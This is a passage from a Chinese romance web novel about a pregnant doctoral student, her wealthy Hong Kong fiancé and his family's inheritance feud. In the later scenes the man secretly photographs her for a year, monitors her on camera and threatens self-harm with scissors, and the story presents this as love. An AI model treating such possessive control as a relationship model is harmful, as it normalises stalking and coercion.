林瀚睿刚下飞机,调整视频电话的角度:“宝宝,我真的是出差,别多想。”
耳机中的声音发闷丧气:“没多想,无非是山里黑魆魆得太安静,我一个人住,有点怕。”
“想吃什么京市的特产?”他进车,镜头对面的卧室光线充足,梁尔璐正思忖着断断续续打字,能轻易看清她额头的晃眼撞伤。
翁秘书候着红灯转绿,余光瞥见后座的老板望向窗外浮嚣夜景,原先工整熨帖的衬衫领口此刻微敞,经玻璃投入的黯淡霓色,落在他尤为深的五官轮廓。
具体的情绪瞧不分明,Boss这张脸但凡出门在外,就是很少显山露水。
发送了大长段以甜口为主的食物名单,梁尔璐注意力挪回视频:“你那边好暗,我都看不清你的帅脸了。”
“车里,马上到酒店见合作方。”
“哦,那你去忙吧,拜拜。”
接通林瀚睿瞬间回拨的电话,她咽下刚喝的水:“唔?北北你还有事吗?”
车里真够暗的,她移近平板屏幕,隐约可见男人一贯淡然的表情,旋即嘴角才勾了抹笑意:“有事。”
“你不觉得自己坏习惯太多了吗?玩水已经算是轻的了。”
“啊?”梁尔璐无法理解“太多”俩字。
“到底是为什么?你每次都能做到秒挂我的电话?之前我还不是你男朋友的时候就算了,现在?说话。”
面对这控诉,她无言以对,只好极其心虚地火速下床关灯,让林瀚睿也看不清她。
黑暗中听声无奈的短叹:“别摔了,庄园里不少智能家具可以遥控开关。”
梁尔璐知道,唯独吃了头脑一热的亏,这阵儿返回时又精准被床边的拖鞋绊倒,啊叫着嘶疼。
“我还可以远程控制。”
男人话音未落,屋内重新亮堂。
她警铃大作般局促,匆忙捂住手机前置摄像头:“因为我现在不喜欢你了!”
这家伙远程控制的手法利落,天花板正中的吊灯熄灭,只剩几盏暖色调的昏昏壁灯。
“开门。”
开啥?
大变活人来找她算账了?
梁尔璐开始回想刚才视频里的机场背景到底属于深城还是京市的。
她小心翼翼打开门锁,外边竟都亮着灯。
“周围不黑了,你安心睡,但我能在工作之前看一眼女朋友吗?”
察觉林瀚睿已置身敞亮的电梯,付笑视她,梁尔璐怔神与之交汇了几秒,第二次秒断。
翁秘书待一旁情侣热聊的盲区内沉默乐呵,难忍得不小心溢出响,怀疑应该被电梯到层的叮声掩盖了。
他哪里还敢有动静。
怕太子爷破防。
林瀚睿痛定思痛,这类情侣之间的小问题需要面对面解决。
将宽松的出差行程缩短至三天,他提了四大行李箱的京市特产搬回庄园。
客厅冷清得空空如也,林瀚睿半刻不停跑上楼,杵卧室门前整理飞乱的头发:“梁宛宛,我回来了,补偿挂我两次电话的精神损失。”
敲门久不见回应,他迟疑下摁门把手:“别睡了,起来吃东……”
还吃什么东西。
阳光逐渐往西边散远,落在窗边梁尔璐晕倒的身形,却暖不了半分苍白脸色。
29.旧夏日
等再回卧室,林瀚睿找到在浴室镜前抹红花油的梁尔璐,药物几乎快碰及额头的淤伤。
他第一时间挤洗手液覆盖掌心残留的药油,细致冲洗了个干净。
洗脸巾正轻柔擦去她指缝之间的水珠,梁尔璐依然犯懵,望林瀚睿沾染愁意的眉眼:“你不是要出差一周左右?”
“红花油四十八小时后才能用,一天多次,那我早上中午各擦一遍,下午突然肚子疼,疼得睡了一觉?刚醒来想起该涂晚上的第三遍,你这奇奇怪怪的到底怎么了?”
持续沉默的男人总算将视线抬向她:“你进医院睡了一觉,先兆流产。”
“什么!所以我不能接触红花油。”梁尔璐恢复正常的眨眼频率,不信邪着替自己号脉,“那就是上次……可你不是……不是,怎么可能啊?”
按理,怀孕并非导致滑脉的唯一原因。
她抓过林瀚睿从衣服口袋取出的折状纸,匆匆展开这张HCG检查报告单。
玩太野了,当初就不应该在车里的。
空间那么小,肯定是哪里出了问题。
“我当时没动手……”
梁尔璐打断疑惑且歉疚的男声:“我当然相信你没动手脚。”
他却似乎陷入了自我谴责的漩涡:“对不起,给了你红花油。”
同样的,梁尔璐没好到哪儿去,嘴全由即时逻辑驱使,神情讷讷:“没关系,我用的不是你那个。”
林瀚睿倏地发愣。
当天,哥哥确实也给了她,和他所予的全新装相比,是已开封过的大半瓶。
看在生病的份上,他强忍不悦情绪,却见女人的脸色愈加苍白了些。
室内药油气味浓稠,林瀚睿惊讶于她眼泪顷刻间断线似地掉,只是抱去他卧室的床,耳边全程没歇过哭泣的汹涌劲。
“放心,我今天不会因为吃醋欺负你。”
“你又在吃什么醋?”
“我又在吃什么醋?”林瀚睿咬牙切齿但微笑,字字清晰反问。
他吃的什么醋,难道还不够明显吗?
“那你是因为怀孕才……”话没完,他遭到梁尔璐近在咫尺的铁头功撞击,脑门疼得火辣。
而始作俑者瞪来湿漉后毫无气势的双眼:“你这个色中饿鬼!”
难消面红耳赤,林瀚睿扯松领带与衣扣:“梁尔璐,男人经不起撩拨,这话是你自己说过的吧?更何况我们分开了三天,整整三天!你先别抱我身上蛄蛹就行,哭也不行,我吃不消你哭的声音和样子。”
一大堆话换来她气急败坏的举动:“林瀚睿,你连名带姓叫我!”
头发被揉成鸡窝似,垂落前额的丝绺轻微扎眼,他抓住梁尔璐作乱的手:“你也连名带姓叫我了,别动……喂,大小姐你别乱动!”
怎料她哭得更凶,林瀚睿直往怀里抱紧这推拒的泪人:“我错了,我错了。”
*
梁尔璐近乎是断断续续哭了整夜,气氛潮湿,令林瀚睿满头雾水,哪怕连她本人也说不出半个哭的原因,愣是等天际初白时分才哭累着逐渐入睡。
他异常清醒地由绝望包围,冷静够,低头擦拭头发出淋浴间,抬眼所见便是盥洗台旁的迷糊女人,一双眸子浸得水肿,蹙眉注视而来。
“你怎么不脱衣服就洗澡啊?把地弄湿了会害我摔倒的,我都有宝宝了。”
林瀚睿欲言又止,心有余悸。
是的,没错。
所以该不会还要哭几小时吧?
观察到她眼神缓缓清明,直至盛满震惊:“我说呢,这么饿!原来肚子里有个小狗东西在抢我饭吃!”
“小狗东西。”林瀚睿平静重复这称谓,“你昨天没吃晚饭,又费力气哭了一晚上没睡,去休息,吃饭喊你。”
“我才不要,你赶快洗完澡坐我身边来。”
照旧无法理解梁尔璐的思维逻辑,他听话抓紧时间。
谁知女人仅是聚精会神盯他。
林瀚睿打破冗长的沉默:“有这么喜欢我?”
“想太多,一般般咯,我只不过要把你这张漂亮的脸看进肚子里去,让宝宝学着长。”
“不是小狗东西了?”
听他笑意调侃,梁尔璐鼓鼓腮帮子:“但你依然是狗东西。”
狗东西的目光撤离她脸,下挪,经热水洗过的手部皮肤也不算暖和,轻托稳她的掌心。
“医生说怀孕了不建议做美甲,但不能靠卸妆水。”
梁尔璐倒是听说过:“行,我会用打磨机卸。”
“你会很难受。”
“有什么可难受的,我经常开打磨机物理卸甲。”
她熟练得简直能去开店,正打算哐哐吹嘘一番,却看林瀚睿皱了表情。
“我妈整个孕期都在吐。”
眨眼回神,梁尔璐惊觉他指的居然是这话题。
“就算不吐也很辛苦。”
男人的卧室内多见加湿器,除此极轻的白噪音,以外再没什么明显声响,弥漫周围的水汽润入呼吸之间。
她一时措辞无能,惟独静对林瀚睿流露担忧的不忍视线。
也许是沉默太久,男人旋即环来拥抱,落耳语:“你确定要?还在读博。”
其实她没考虑过这问题。
或者,压根犯不着想。
“休学就行,说白了任何一种流产方式都伤身体,所以我不是因为你才决定留下孩子的,你知道吗?”
“我知道,但凡你没点性格,我也绝不会这么爱。”
颈窝的偏短轻笑在她肤表渡上几息温热,梁尔璐躲闪一瞬,下意识略微抿唇:“北北,你是什么时候把我这个人摸透的?”
“在那辆价值千万的车里。”
她当即因彼时的床笫之欢而面热,使劲挣开林瀚睿:“我说正经的!狗东西!”
“认识没多久,姐姐。”
双方近距离,完全没办法忽视他的揶揄,梁尔璐稍稍淡却的脸重新红通,只作狼狈捂脸。
狗东西故意的啊啊啊,那晚在车里叫了好多声“姐姐”……
视觉受阻,滚烫耳朵敏锐听清林瀚睿“你先休息”的临走嘱咐。
她忍住尴尬,搁手机搜索了一阵,径直跑向卧室外走廊的扶栏,喊:“我查到了,想起来了!你那晚用的避孕套上面没有小尖尖!就是叫储精囊的地方!所以容易出意外,我没用过套子,你一个男的怎么也不懂这些啊!你这傻大春,傻大春!”
眼看还没走到客厅的林瀚睿止步楼梯,愣愣转身,无奈地抬指示意她嘘声。
梁尔璐纳闷:“干什么,家里又没人……人?人!”
距离远了点,但一楼似乎有穿白大褂与厨房围裙的一些人,陆续将饭菜端去餐桌。
嗯?庄园什么时候请人了?
她局促逃回房间。
没关系,现在尴尬的只有林瀚睿。
这也算是秒速报仇了。
早餐由他端进卧室,为杜绝多余的尴尬,梁尔璐埋头只顾吃,眼底不经意瞧见首饰盒,内装八条手链。
雍和宫的手串,贵暂且不论,若遇上旅游旺季,排队势必像长龙般直达地铁口,买完还得再排队开光。
左腕间戴入一串海蓝宝,缀个银质长命锁,又紧随着套来艳而不俗的南红玉款式,温润赤色宛如凝脂柔滑,衔接吊坠是镶了圈细窄金边的白玉长命锁。
梁尔璐哭笑不得:“你这想我活几百岁啊。”
“都是你的,旺健康财运学业运事业运。”
翻看剩余六串各自带的祝福标签,她好奇,“你没请一条姻缘美满的吗?”
“有必要吗?”林瀚睿轻嗤似的口吻不屑,别提多么无所谓。
“哇,你好自信。”玉器清越碰撞,梁尔璐挑出四串,依次替他戴,“都说开过光的就只能戴过的那人一直戴,这些保佑你,对了,你明天有空吗?”
标签拆得专注了些,她稍顿:“也没什么事,去一趟民政局。”
抬眼瞧男人神情意外。
梁尔璐赶忙解释话中引起误会的歧义:“哦,不是因为怀孕了才想跟你结婚的,离家出走那天我偷了户口簿,决定和你领证。”
之前与他堂妹说的不急于结婚同样是真话,她早晚都行,目前只疑惑林瀚睿身处立场导致的态度,状况实在不允许也算了。
深知试探的语气不够稳,梁尔璐调整复杂情绪,张口欲出的话头却被堵断。
“我今天回港开单身证,后续去律师事务所公证时需要你的身份证和户口本,再等一周左右收取公证正本,就能到你家附近的民政局领证。”
确定林瀚睿眸光灼灼,极其正儿八经的,潦草睡衣愣是没消减半分这派严肃气质。
她难以置信:“我不懂你家那边的流程,单纯举个例子,怎么你还真来我们内地结婚啊?”
“在港结婚只有一纸婚书,我更喜欢大陆的结婚证。”
认识以来,感觉他总在大陆生活。
怀疑到某种可能性,梁尔璐放轻嗓音,“你……你妈咪是不是深城人?”
林瀚睿倒也不避回答:“是,你唯独性格方面有些微像她,不至于是她的替身。”
“哦。”梁尔璐眨眨眼,“可你确实有恋母情结,啊不是,我不是指和妈妈卿卿我我的极端类型,单纯想说你缺少母爱。”
“但归根究底,难道你以为我在这种家庭长大,会是正常人?”
那她还不傻……
“觉得你竹马是正常人?”
见林瀚睿又温着神色,主动提及假想情敌,梁尔璐悻悻干笑。
要么俩异常人打一架吧?
“我也不觉得,他特别拧巴内敛,喜欢一样东西却不说想要,离远远的,比如我早就知道他喜欢蓝莓花,然而他每次都只是看我家那盆蓝莓,我都不好意思拆穿他。”
“你相反,攻击性和压迫感太强,知道我第一次见你那会儿为什么后退,差点摔下天桥吗?因为你的言行足够有距离感,但其实挺……而且你有时候发疯,喜欢把我欺负到无路可退为止,总之你这个人坏得很。”
心里话全摆台面上,梁尔璐皱眉撇嘴:“这么一分析,你还蛮讨人厌的,不如珩……不如珩仔,我就是偏要在你面前这样叫他,你想怎么样?”
重翻这狗东西的旧账,害她气不打一处来,情绪调动引发饿感强烈。
无独有偶,她看清林瀚睿笑容背后的怒气值疯涨。
“我还能怎么样?我想让你的珩仔全程见证我们领证。”
稀罕稀罕,这次居然含恨忍耐了?
“证婚人吗?他大学老师,应该不忙的,可大陆领证不需要证婚这环节吧。”
梁尔璐难忍饿,浅试筷尖蘸的荤菜酱汁,微微张嘴,舌尖轻抵兔牙似的上牙底沿:“好甜的糖醋排骨,喜欢但是没胃口,不行,我一定得吃下去!”
林瀚睿锁紧了些眉眼,嘴角往下略压。
真就是拳头打在棉花上。
只知道他哥喜欢蓝莓花的傻瓜,至今没发现被他这混蛋哥暗恋多年……
但似乎在这种情形之中邀请证婚,对哥哥的打击刺激才是最致命的。
林瀚睿弯唇:“我会让厨师做得再清淡一些。”
“为什么!你又吃醋欺负我?连饭都不给我吃好?”梁尔璐撂筷子抗议。<
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未料他以理服人,毫无漏洞可钻:“医生和营养师说了,孕期需要重点防范血糖和牙齿疾病,尤其前者。”
别防范了,林瀚睿这一番话拉满了防御,她落个无力反驳的境地。
“其实也没很甜,根本没我爸妈做的甜……别改,行不?你们站在我的角度考虑问题嘛,万一我之后吐严重了吃不下东西呢?所以现在必须给我吃好,吃多,明白?更何况我自己学医的,心领神会养生之道,死不了。”
察觉男人的五官明显动容,梁尔璐眼瞳骤亮:“那就这样说定……”
“你知道的,我有多怕你死。”
虚假的柳暗花明希望被林瀚睿掐断破灭,她认了:“好吧,你们弄什么我就吃什么。”
陷落的床榻因他站起而慢回弹:“睡一间房,三个月后我也不会动你。”
梁尔璐暂时放弃米饭,专心吃着没多少骨刺的清蒸鲈鱼,眼皮都没空掀:“动什么?”
头顶响来简短五字:“吃完睡一觉。”
“废话,这还用你说?”她严重困饿交加。
“否则你会变得更傻,我去拿你行李箱内的户口本和身份证了。”
“你说谁傻!”梁尔璐愣愣仰头,林瀚睿正关了房门离开,她这才明白男人指的是什么,“留在这吗?可我是打算回家过这十个月的啊。”
那她到时候提出离开,岂不是很尴尬……
*
衣帽间。
在一众百达翡丽手表中,林瀚睿短暂纠结于同款星空表的玫瑰金黑盘与铂金蓝盘,触碰无色钻石的指腹右挪,取出后者。
他扣紧皮质表带。
控制梁尔璐饮食的期间也需要适当纵容,不然她容易跑。
事出突然,林瀚睿没能网上预约婚姻登记处的单身证明办理,所幸现场取号排队倒也快,他驱车送到律所。
律师是十年如一日般负责林家大小法律事务的老人。
被唤作“邱叔”的中年男人慈眉善目,比对两张样式不同的身份证:“大公子,你也是到了结婚的时候。”
“不过最近有人不老实,大林先生修改了遗嘱。”
林瀚睿眸光浅淡,犹如古井无波。
律师会告诉他这类家族掌权人的重大动向,就说明是父亲授意的。
需要通过第三方来互通有无的父子关系,滑稽得很。
公证流程并不繁琐,他顺势回了趟港城的家,踏入门槛之际,耳边除却接二连三迎他的“大少爷”,也掺杂几声凄厉尖叫。
林瀚睿拧眉查看翁秘书发的邀功信息【请问您听见我的工作效率了吗】、【奖金速发】,随手转账一笔。
整整五层高的别墅,被周围吃惊众人称呼为“三少爷”的堂弟就这么嚎了四楼,搁楼梯上连滚带爬地呼救。
等看清他的一瞬却越是惊恐,腿脚强行利索地转身。
“要我过去?”
都被人老爹降职混副总经理了,林文霆哪儿还敢再惹,只得挂着骂骂咧咧的表情靠近。
嗓音随身体害怕颤抖,但态度必须恶狠:“林瀚睿你这疯子!是你做的……你做的!神经病!”
他当时正使用的每个电子设备屏幕上都同时出现了有音效的鬼脸动画,在卧室里密密麻麻全面包围似的。
林瀚睿抬高手机角,轻抵青年的肩,还没施加半分力道却见他腿软地狼狈摔地。
“Simon,下次再收买秘书,进董事长办公室不小心用咖啡烫死发财树,你就是鬼了,蠢死的鬼。”
“笑什么!”林文霆反感单方面居高临下引起的落差,气急败坏地站起推林瀚睿。
谁知他彻底撞向门,突出的门把手对后腰造成尖锐撞击,令他惨叫一声,苍白脸色由冷汗侵袭,周边顿时围拢保镖与佣人。
“你明明可以躲开的!”
“快,叫医生过来!”管家语气严肃,“三少爷,大少爷从小身体不好,你也是知道的,这件事我会通知林先生。”
“不是……他他,他……”林文霆傻眼。
他这绿茶堂哥经常伤敌一千自损八百的,没人知道吗?没天理了吗?
林瀚睿侧靠沙发,咬牙缓疼:“不用,Simon没怎么用力,是我没站稳。”
父亲不怎么信风水命理,所以第一盆发财树是恋爱时母亲送的,不顾风水大师替点的正确摆放位置,唯独安置在距离他最近的办公桌旁,此后年年日日从未断过,谁弄死他眼中象征亡妻的发财树,无疑是找死。
配合医生脱下右半侧衬衫,冷敷的冰意渗入皮肤,他余光瞥见药箱内的一系列药油瓶罐。
接听梁尔璐的电话,林瀚睿收敛了沾有痛意的声线:“中午想吃火锅,晚上想吃烧烤?请问你还想喝奶茶吗?冰淇淋呢?”
“想”字尾音拖长,意料之中的撒娇。
“可以,我会安排,但如果之后糖筛不合格,我每天扎你手指测血糖,一天要扎四次。”
果不其然收到她小猫挠人似的语气:“你回家死定了!”
通话被挂断,林瀚睿挑眉。
瞎说,回家之后这猫儿只会心疼他,挠得他心痒。
其实懒得冰敷,奈何架不住身旁打工人的服务意识,非留他处理伤口不可。
漫长且无趣,甚至给梁尔璐发的满屏消息,都丁点儿没回应……林瀚睿将手机息屏,撇开一旁倒放。
开着静音模式,就算她搭理了,他也听不见的。
默念计数到两分钟,林瀚睿开机,但惊讶于毫无变化的聊天框,他秒速退出微信,破防的心一横,打算清空后台程序。
屏幕倏闪,跳出来电显示。
30.旧夏日
他接电话,对面的梁尔璐率先出声:“林北北,我们已经很久没玩猜猜猜游戏了。”
“你猜我接下来要说哪种夜里开的花?”
这次她没给什么明显的提示,林瀚睿尽量想得与她贴切:“是中药?”
“对,木蝴蝶是中药,它不是蝴蝶。”
“我记住了,然后呢?”之前梁尔璐在社区开夏季中医养生的讲座,他远远听见几句,也是这般一本正经的科普语气。
“冷知识,不是所有蝴蝶都只能在夏日里活三天的。”
那他确实未曾涉猎这领域,被勾起好奇心的同时,梁尔璐清着嗓严肃叫他姓名。
不明所以的可爱。
“欸。”林瀚睿弯唇,应一声。
“我的意思是!”
“我们不要做短命蝴蝶,要把日子过好,过成无尽夏。”
笑腔跳入耳内,他蓦地发怔,手比脑子快,旋即终止了通话,愣是好一阵儿没能回神。
原来梁尔璐听他讲情话的时候是这种感觉。
心动得只想逃。
林瀚睿查看正蹿出的微信消息弹窗。
【你也秒挂我电话 扯平了】
好啊,敢情他这是中了个裹满蜜糖的圈套。
哭笑不得之际,他余光瞥见站在二楼笑盈盈的堂妹,以及身旁大摆臭脸的盛言顾。
两人下楼来,有仇似地自觉分散了坐沙发。
处理伤口的医生见状,简单叮嘱几句便收拾东西离开。
盛言顾眉眼沾够嫌弃,直瞅缓缓系衬衫纽扣的林瀚睿,戴于他手腕的表因此存在感过强:“品牌超级VIP才能订到的型号,这么招摇,你装的莫非是那种家道中落倒霉少爷的穷?”
“Hendrix,我看你还是早点对我嫂子坦白从宽吧。”
与他隔了张茶几的林莉妍此话一出,盛言顾是真没忍住:“什么嫂子?结婚了吗?订婚了吗?就嫂子了?这么喜欢叫嫂子?你这不是嫂子的嫂子嫁给我,照样是你嫂子。”
“Leo哥哥,从林家滚出去。”
“Rosalind妹妹,从此以后我不允许你进盛家看羊驼。”
“再吵?要么联姻吵个够?”
眼看双方的气焰瞬间被浇灭,林瀚睿起身整理西装。
两相比较,佛堂尤为清净,仅剩燃香引发的零碎细响。
他自上而下轻抚母亲牌位篆字的位置:“我要结婚了,来跟您说一声,如果您还健在,我和她也算青梅竹马,Aria特别好,是您会喜欢的那种孩子,我认为是自己高攀了她,不忍心留住她,却又舍不得放开她,总之……等以后,我带她见您。”
延迟给梁尔璐回复“过”字,林瀚睿翻找西装内袋,确定哮喘吸入剂没遗失。
倘若哮喘发作致死,他就无法和梁尔璐一起过长长久久的日子。
充盈室内的沉香名贵,药用价值方面倒也能平喘,林瀚睿在佛堂待到家宴时间。
毕竟爷爷素来不满他身上多留佛堂独有的气味。
餐桌上,本该出现的父亲与二叔都不在,只有三房的到齐,众人听结束全国游的林老爷子聊些旅途往事。
“我去农庄吃饭,抓活禽的时候那叫个热闹,鸡仔看起来不懂事,着急了甚至和体型大一倍的同族厮斗,最后只能宰老的,还有另外一只小的,被娇生惯养,宠坏了,能轻易逮到,但感觉吃起来没意思,所以那天上桌了两只多年走地鸡。”
林莉妍沉默舀汤,眼观鼻鼻观心。
这虽然是敲打大房、二房两位哥哥的体面话,但如果要吃走地鸡,多年那种的老母鸡肯定是首选啊,祖父完全把她说馋了。
对不起,哥哥们。
一时无人接话,林瀚睿视线略微偏转,扫向强装着镇定扒白米饭的林文霆:“Simon,Rosalind,我们去找个地方死掉吧,这样爷爷就没继承人了。”
林文霆神色冷静,手掐大腿。
神经病别乱拖人下水啊……虽然他的双胞胎哥哥属于家族弃子,三房那幼儿园堂弟也不知道以后是个什么水准,至于小孩身旁疑似灵魂出窍的林莉妍,学法律给家族打辅助的,真若斗起来,绝非善茬。
他正襟危坐,这饭谁爱吃谁吃吧。
受到神经攻击的老爷子持续输出:“Hendrix,你真是被我儿子宠坏了。”
被宠坏的神经依然未收笑意:“嗯,爷爷,我们父子情深,请问我可以去看他了吗?”
“文霆,你也一起。”
得了老人家的应允,他追上脚步有条不紊的林瀚睿。
难得周围气流通畅了些,身后又传来爷爷的嗓音:“光是你爸同意自由恋爱,不够。”
林文霆打量林瀚睿波澜无惊的侧脸,轻声:“让大伯赶紧辞退我,真的没兴趣和你争家产。”
却见他唇角衔了抹笑。
“刚才没看见拿死威胁别人的效果?听说你们二房父子情深,Simon,你装废物没用,迟早会为了爹地有兴趣的。”
穿过地下室内琳琅成排的酒柜,林瀚睿远远望着两名中年男人对坐喝酒,挽起衬衫衣袖的手臂处都分布了打击所致伤痕。
堂弟搀扶二叔,于笑骂间离开。
他不记得是从何时起,认为这种正常的亲子氛围太吵。
简短同父亲沉默相视几秒,林瀚睿转身离开,刚到一楼便察觉隐约起伏的孩童哭声,他绕回餐厅,竟是空空如也。
循声到花园入口,恰逢沉在泳池底部的爷爷被捞上岸,堂妹颤抖掌心内的手机坠地:“问了监控室,爷爷是自杀,刚才说吃饱了之后就一个人来这里……爷爷……”
作为男丁,二房大儿子非但不搭把手帮忙,还看热闹不嫌事大地伸手指他:“应该是Hendrix刺激到爷爷了吧,说要去死,让爷爷一生的事业后继无人,那爷爷能吃饱什么啊,肯定是被气饱的。”
林瀚睿倒不气,单纯挑眉笑看人兴风作浪的得意劲儿。
他不是想带所有聪明的继承人去死吗?
哦,被排除在外的蠢货生了恼,这才断章取义,混淆是非,显得他这大房嫡长孙狂妄至此。
他的好二叔最爱听了。
懒得多搭理,林瀚睿目光掠去淌落一身水而瘫坐在地,神情复杂的林文霆。
老爷子活到107岁,虽然早就交出了董事长的位置,但依旧持有股份,甘愿用自己的死制造矛盾,将三个儿子之间的旧势力秩序重新洗牌。
往小了说,也是因为看不惯林文霆装傻多年。
更意图凭借最狠绝的方式刁难他,不准在守孝期内结婚。
这场死亡属于必然事件,和他与爷爷的争吵全无关系,爷爷只是故意将他拖下水,导致大房成为众矢之的。
正午时分,室外由烈日暴晒的高温与屋内差距过大,林瀚睿些许透不过气。
擦身经过身边的父亲步履匆忙,语速偏快:“别让他们看见你哮喘发作,离开。”
他悲极反笑。
挺滑稽的一家人,满大桌子饭菜都能把他饿死。
丝毫不作停留,林瀚睿直奔车库。
庄园客厅的冷气照样开足,但偶也掺杂几丝暖意,源于茶几上摆置的热腾腾火锅,旁边停了辆放满食材的餐车。
“你回来了!”梁尔璐盘腿坐地毯,目光从电
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视播放的动画挪去男人莫名其妙站着不动的位置。
正打算再招呼声,谁料轻度皱眉的林瀚睿径直快步,贴靠来她身侧挽紧了胳膊肘。
她递过一颗调羹内已经凉了点的丸子,看他嚼:“好吃吗?我自己做的纯肉丸,肥瘦配比堪称完美。”
“完美,还要。”
“可别。”受不了他顺自己夸张话茬的架势,梁尔璐稍撩遇热翻冒涌流的清汤锅,再捞了一个,“怎么又被你遇上我爱看的青梅竹马局了?不过这男主既是天降又是竹马。”
“你不爱看天降打败竹马?”
语气酸,手臂遭林瀚睿环紧区域的外力也更加收拢。
幼稚得很。
她示意男人转头:“醋什么,吃饭吧你,那空碗就是给你准备的。”
“够了,这一小会儿就够了,最近工作上出现问题,我连续几天都回不来。”
“够了?所以你这是翘班回家充电?”难怪情绪偏向异样。
梁尔璐总算了然,凝他微显黯然的双眼。
她盯进这其中丧感眸色的怔神间,单边脸颊被林瀚睿揪了捏。
“是啊,那我先走了,克制你的食欲,不准乱吃,明白?”
“不明白!”她就要,就要!
呛回一通,梁尔璐眼瞅男人离开的背影,没来由联想到“悲伤”这词。
她下意识站起追去:“你累了就再翘班回来吧。”
背后抱的姿势导致腰部伤口受挤压发疼,林瀚睿咬牙忍住险些溢出唇齿的闷哼声:“好。”
*
距这趟见面,梁尔璐接近一周没见他回庄园,虽然期间某天和林瀚睿去民政局领了证,但又因他紧急出差而匆匆分别。
再见时已经过大半个月。
男人是喝醉了趁夜回来的,二话不说躺床,疲累得如同散架。
梁尔璐凑近了才看清他脸颊负有一小条窄直的划伤,没再流血,可明显是新伤:“这是怎么了?”
“还能怎么呢……被文件纸角割破的。”
无非是在葬礼上,被全身心投入豪门继承战的二叔甩了一身领证当天的照片,严辞指责他不孝。
那赶巧了,他父亲立刻丢出二叔小儿子隐蔽殡仪馆暗处,与女朋友卿卿我我好不快活的视频。
林瀚睿哼出不成调的半声,侧支起手肘:“睡吧,我去沙发那边。”
梁尔璐拦也不是,关灯许久也未见睡意侵袭,心里藏着事浅眠,因此轻易醒转。
夜色被窗帘掩落大半,她揉眼细看。
沙发上没人。
救命!根本不应该睡着的,林瀚睿八成又梦游……占地面积这么大的庄园,她这次非得找疯了。
顶楼算是不常涉足,梁尔璐退回差点错过的一扇虚掩门前,迟疑推开些。
是间洗相机胶片的暗房,一室通红,林瀚睿沉默置身其中,平视对面悬挂成长排的照片,倏忽自言自语。
“你只能对我笑。”
“这张,你很像娃娃,如果你真只是我的娃娃就好了。”
“你只能是我的,好想把你关起来啊,但你不会喜欢的,既然你不喜欢,那就要乖一点,你说对吗?”
“这套房产已经过户到我的名下,那些想把你抢走的人,谁都进不来。”
“这张拍得不好,不好不好不好……”
迅速而密集的两个字音和剪刀磋响之间,梁尔璐抑制不住地惊呼出声。
哪怕及时捂住嘴,却仍见站工作台边的林瀚睿敏锐察觉,身形稍滞地缓缓转过身来。
男人神情疑惑,随即对她温展眉眼,弯唇:“喝酒误事,忘记关门了。”
31.旧夏日
梁尔璐迟疑推开门,快步走向神情意外的林瀚睿。
迅速推男人出了暗房,她锁门,环顾四周。
是一间平方偏大的居室,朝内延伸矗立着多排书柜,全用作摆放相册。
刚才莫名第六感半刻未停地催促她进这屋,打从心底里不知道自己来做什么,梁尔璐干脆翻看分时间摆放的相册。
有些照片拍摄得早于到庄园之前,她那会儿竟然毫无觉察。
钥匙开锁的动静短暂响落,脚步声不疾不徐渐近,在寂静夜里惹得她尤为心悸。
梁尔璐转身便望见满室红光内的一道冷亮,源自林瀚睿含笑戳去脖颈的剪刀。
应是尖头抵准皮肤的凉意,令他眨了下眼:“如果你不要我了,我会死的。”
她挨靠书柜,步子失稳牵绊着直往后退。
“你说我们得把日子过好,过长久,是骗我的吗?可我当真了。”
“我一直在忍,可你偏要招惹,我拒绝,你冒进,当初我分明已经把自己恶劣的一些阴暗面展现给你看,你却始终不退,那你为什么现在要退?”
梁尔璐忙乱望眼身后,快到墙,无路可退了。
必须收回老话,房间好小!书柜根本不多!
她恐慌得腿软,林瀚睿掺杂笑意的嗓音导致脑袋禁不住发晕。
破罐子破摔着躲去末尾排的书柜,梁尔璐打算就近捧几本沉甸甸的相册,以备砸他,却遭这眼疾手快的狗男人扯抱入怀。
失去作用的剪刀掷地有声,近距离响彻耳侧。
林瀚睿拧眉注视尖叫时因惊吓过度而昏迷的女人,随即抬眼看向柜子。
这部分照片的时间线全在梁尔璐自以为是初见的那晚之前。
是他暗恋一年的记录。
*
梁尔璐睡到第二天上午,环绕满头的懵圈没什么用,迅速被加剧增生的惊恐吓散了个干净,发现四下无人才稍稍松口气。
回家回家回家回家回家!回家难于登天!
她搁楼梯口紧急刹车,避免与上楼来的医生相撞。
接连喊“太太”的两位靓女极其温柔,百般劝她孕期千万不要焦虑害怕,瞧她情绪激动,瞬间亮出一根针管。
啊,敢情林瀚睿是这样忽悠庄园工作人员的。
梁尔璐嚷大声:“我血管超级超级细的,不打针!我不打!冷静了冷静了冷静了……我冷静了!真冷静了!”
眼看风险解除,她退几步远贴了墙,稳稳声线:“我……我我丈夫呢?”
“林先生去上班了,太太,您昨晚发起低烧,现在觉得怎么样?我们再帮您看看吧。”
“不用!我自己也是学医的,已经没事了。”
烧死她得了,林瀚睿好恐怖。
周围的人也受利用,全在以照顾的名义,不知实情地时刻监视,她目前压根儿逃不掉。
遇到困难,睡大觉。
梁尔璐尝试了几回,可惜毫无睡意,郁闷疯了。
横竖得靠其它法子消耗多余清醒度。
*
签署完一份文件,林瀚睿视线挪去pad屏幕中的监控画面。
女人在楼梯上下徘徊,锻炼身体似地走会儿又坐会儿,循环往复,此刻锁了眉眼且鼓腮帮子,抱膝戳弄手机。
他接通来电,听筒对面劈头盖脸就泼倒情绪。
“狗东西狗东西狗东西!限你今天之内,给我弄点好玩的回来!”
翁秘书乐呵坐办公桌前,等待老板批复的第二份文件。
就这秒挂电话的架势,绝对属于梁小姐风格。
他虽然是土生土长的港人,但跟着老板待深城工作久了,哪怕依旧是给CEO打工,近段时间也还没怎么适应在公司总部上班。
眼下,老板继续忙着为女朋友摸鱼,转手给他发了消息,唯独一个地址:“包场,截止零点。”
“总经理翘班被副董事长抓包,Hendrix,我觉得你也逃不出董事长的天罗地网。”
翁秘书悻悻。
这两边势力都等着揪对方小辫子做文章,偏偏两位爷全属于不安分的。
不过显然是他老板更靠谱些,热爱工作,是那种就算有天大的烦心事也能情绪稳定上完班,结束每日计划表安排的专业程度。
他的评价是,挺疯癫的。
林瀚睿扫视文件纸底林文霆透露不耐的签名。
这叛逆公子哥非但重新升回COO岗位,还兼任了CFO,身担两个集团核心重职竟还翘班。
沿桌面推过透明外封的文件,林瀚睿转看监控内空无一人的楼梯:“你可以去忙了。”
忙起来也是连轴转,他陪同某些部门加了阵晚班,算上老婆交代的事,临近半夜才回庄园。
卧室灯亮如昼,梁尔璐坐被窝支了pad,电容笔点击屏幕,乐器声随即产生,每次播放的一段都会稍有音律改变。
